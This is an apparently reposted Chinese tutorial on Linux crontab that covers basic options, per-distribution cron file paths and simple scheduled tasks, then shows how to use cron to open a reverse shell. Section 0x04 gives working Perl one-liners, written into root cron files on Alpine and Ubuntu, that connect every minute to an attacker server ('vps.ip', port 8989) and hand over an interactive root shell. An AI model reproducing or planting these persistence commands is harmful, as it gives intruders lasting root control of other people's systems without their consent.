【奇技淫巧】linux 定時任務 crontab 反彈 shell



日期:2018-11-26 13:47:34
介紹:如何使用定時任務來反彈 shell?


0x01、 基本命令

參數

-e:編輯該用戶的計時器設置;
-l:列出該用戶的計時器設置;
-r:刪除該用戶的計時器設置;
-u <用戶名稱>:指定要設定計時器的用戶名稱。

MAC 直接使用 crontab -e 無效:

編輯 username 的 crontab
$ sudo crontab -u username -e

列出 username 的 crontab,查看編輯后的數據
$ crontab -u username -l

0x02、具體信息

2.1 /etc/crontab 文件

該文件負責安排由系統管理員制定的維護系統以及其他任務的crontab。

minute hour day month week command
對應 分 時 日 月 周

2.2 如何開啟服務

service cron start

或者

/etc/init.d/cron {start|stop|status|restart|reload|force-reload}

2.3 配置文件

系統任務調度文件:/etc/crontab
用戶 XXX 調度文件:

ubuntu 下路徑
/var/spool/cron/crontabs/xxx

Alpine 下路徑
/etc/cron.d/xxx

debian 下的路徑(xxx 可以是任意東西)
/etc/cron.d/xxx
或者
/var/spool/cron/crontabs/xxx
但是寫這個路徑的時候,文件內不能加用戶名。

ubuntu 直接修改用戶的調度文件后,可使用 crontab 相關命令直接查看、編輯。

Alpine 修改了文件,crontab 查不到。。

0x03、具體實例

每天的六點輸出信息
0 6 * * * echo "Good morning." >> /tmp/test.txt

每晚的21:30重啟smb
30 21 * * * /etc/init.d/smb restart

0x04、反彈 shell

Alpine 系統:將以下內容寫入 /etc/cron.d/root 即可。

*/1 * * * * root perl -e 'use Socket;$i="vps.ip";$p=8989;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
##

ubuntu 系統:寫入的文件是/var/spool/cron/crontabs/root
需要注意的是,ubuntu 不需要在5個*后面加 root。

*/1 * * * * perl -e 'use Socket;$i="vps.ip";$p=8989;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

直接寫入文件以后,使用 crontab -l 可以看到加上的任務。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2026 CODEPRJ.COM